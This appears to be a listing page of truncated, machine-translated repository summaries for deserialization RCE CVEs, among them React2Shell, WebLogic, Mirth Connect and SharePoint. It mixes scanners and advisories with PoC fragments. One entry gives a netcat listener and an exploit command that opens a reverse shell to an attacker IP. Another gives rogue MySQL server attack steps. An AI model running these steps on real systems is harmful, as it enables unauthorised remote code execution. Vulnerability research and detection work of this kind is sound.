cve-2025-55182-analysis

CVE-2025-55182 — RCE-Analyse von React Server Components Analyse von Webanwendungssicherheitslücken · M2 Cybersecurity · 2025 Autor: Niane Mohamed · LinkedIn Ende-zu-Ende-Ausnutzungskette einer kritischen CVSS 10.0 unsicheren Deserialisierungsschwachstelle in React Server Components, von der...

CVE-2025-50460

CVE-2025-50460: Remote-Code-Ausführung in modelscope/ms-swift durch unsichere PyYAML-Deserialisierung Status: Analyse ausstehend Dieser CVE-Eintrag wurde für NVD-Anreicherungsmaßnahmen markiert. Ein Remote-Code-Ausführung RCE-Sicherheitsproblem existiert im ms-swift-Projekt Version 3.3.0 aufgrund...

CVE-2025-50461

CVE-2025-50461: Remote Code Execution durch unsichere Modell-Deserialisierung in Verl Status: RESERVIERT Diese CVE-ID wurde vergeben, ist aber noch nicht in der offiziellen CVE-Liste veröffentlicht. Eine Deserialisierungsschwachstelle besteht in Volcengine's verl 3.0.0, speziell im Skript...

CVE-2019-17564-FastJson-Gadget

CVE-2019-17564 Gadget FastJson + SpringFramework para Dubbo 2.7.3 Nosso artigo completo está disponível em https://www.checkmarx.com/blog/apache-dubbo-unauthenticated-remote-code-execution-vulnerability Note que isto não é um exploit ; é uma cadeia de gadgets POC usada em um exploit para demonstr...

Telerik-UI-ASP.NET-AJAX-Exploitation

Telerik-UI-ASP.NET-AJAX-Exploitation Uneingeschränkter Datei-Upload durch schwache Verschlüsselung betroffene Versionen CVE-2017-11317 2. Remote-Code-Ausführung durch unsichere Deserialisierung - CVE-2019-18935...

CVE-2025-50472

CVE-2025-50472 ModelScope Ms-Swift ModelFileSystemCache – Deserialisierung nicht vertrauenswürdiger Daten – Remote-Codeausführung-Schwachstelle RCE PoC Ich habe ein Code-Repository mit einer bösartigen .mdl-Datei zu Testzwecken auf ModelScope hochgeladen. Sie kann während des Tests direkt verwend...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC Use java.net.InetAddress para detecção POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type: application/xml...

CVE-2025-22777

CVE-2025-22777 GiveWP – Plugin de Doações e Plataforma de Arrecadação de Fundos = 3.19.3 - Injeção de Objeto PHP Não Autenticada Descrição O plugin GiveWP – Plugin de Doações e Plataforma de Arrecadação de Fundos para WordPress é vulnerável a Injeção de Objeto PHP em todas as versões até, e...

CVE-2026-45034

🧨 Exploit de Desserialização Phar do PHPSpreadsheet Contorno deprohibitWrappers + Execução Remota de Código RCE em phpoffice/phpspreadsheet Este repositório fornece um exploit de prova de conceito PoC para uma vulnerabilidade crítica na popular biblioteca PHP PHPSpreadsheet. O ataque abusa do...

CVE-2025-27520-PoC

CVE-2025-27520 — Sichere Lernsimulation / PoC Demo-Stand ⚠️ Wichtig: Dies ist eine sichere Lern simulation der Schwachstelle CVE-2025-27520. Das Projekt enthält einen simulierten Dienst Flask und einen sicheren PoC-Scanner Python. Die Simulation erzeugt eine Beweisdatei in data/ beim Erhalt eines...

CVE-2020-26259

Beschreibung XStream ist anfällig für eine beliebige Dateilöschung auf dem lokalen Host beim Unmarshalling, solange der ausführende Prozess über ausreichende Rechte verfügt. Auswirkung Xstream \n" + " \n" + " \n" + " 0\n" + " \n" + " \n" + " \n" + " text/plain\n" + " \n" + " C:\Al1ex.txt\n" + "...

CVE-2019-12086

Dokumentationserläuterung CVE-2019-12086 Jackson Deserialisierung Ausnutzung der Schwachstelle 1、Starten Sie den bösartigen MySQL-Server: python roguemysqlserver.py 2、Im selben Verzeichnis mysql.log anzeigen: tail -f mysql.log 3、Senden Sie folgendes JSON an die anfällige Anwendung:...

Oracle-WLS-Weblogic-RCE

Oracle-WLS-Weblogic-RCE CVE-2019-2725 Oracle WLSWeblogic RCE Tests-Skript CVE-2019-2725 ist eine Deserialisierungsschwachstelle in Oracle WebLogic Server. Diese Schwachstelle zur Ausführung von Remote-Code ist ohne Authentifizierung über das Netzwerk ausnutzbar. Dieses Skript, das das Vorhandense...

rpc-rce.py

rpc.py RCE Exploit CVE-2022-35411 Dies ist ein aktualisierter und verbesserter Exploit für CVE-2022-35411 , der auf anfällige Versionen von rpc.py Ursprünglicher Exploit von : Elias Hohl Verbessert von : x7331 für Benutzerfreundlichkeit, Portabilität und Automatisierung Schwachstellenübersicht Di...

CVE-2025-53770

CVE-2025-53770 SharePoint Description A desserialização de dados não confiáveis no Microsoft SharePoint Server local permite que um invasor execute código remotamente e comprometa o sistema. A Microsoft está ciente da exploração ativa e está preparando uma atualização abrangente. Verifique se as...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 Beschreibung PoC für Mirth Connect Remote Code Execution RCE Betrifft Mirth Connect Beispiel Listener starten nc -lvnp 4444 Exploit ausführen ./exploit https://target.com 10.10.10.10 4444 Referenzen https://nvd.nist.gov/vuln/detail/CVE-2023-43208...

CVE-2025-55182-React2Shell-CVSS-10.0-

Software Afetado: React Server Components versões 19.0.0, 19.1.0, 19.1.1, 19.2.0 Tipo de Vulnerabilidade: Execução Remota de Código Pré-autenticação via desserialização insegura. Descrição: Uma falha no protocolo React Server Flight permite que atacantes não autenticados enviem payloads...

CVE-2025-55182

CVE-2025-55182 Scanner Ein Proof-of-Concept-Scanner für CVE-2025-55182 , eine kritische, nicht authentifizierte Remote Code Execution RCE-Sicherheitslücke in React Server Components RSC. Übersicht Am 3. Dezember 2025 wurde eine kritische Sicherheitslücke bekannt gegeben, die React 19.x- und...

react2shell

React2Shell CLI-Tool + Nuclei-Vorlagen zur Erkennung von zwei kritischen RCE-Schwachstellen in React Server Components und Next.js Server Actions. Der Scanner wurde basierend auf der offengelegten react2shell-Sicherheitslücke neu geschrieben. Schwachstellenübersicht CVE-2025-55182 – React Server...

CVE-2025-61882-Oracle-BI-Publisher-RCE

Betroffene Software: Oracle BI Publisher Versionen 12.2.1.4.0, 12.2.1.3.0. Schwachstellentyp: Remote-Codeausführung durch unsichere Deserialisierung in der BI-Publisher-Integrationskomponente. Beschreibung: Die BI-Publisher-Integrationskomponente deserialisiert nicht vertrauenswürdige Daten ohne...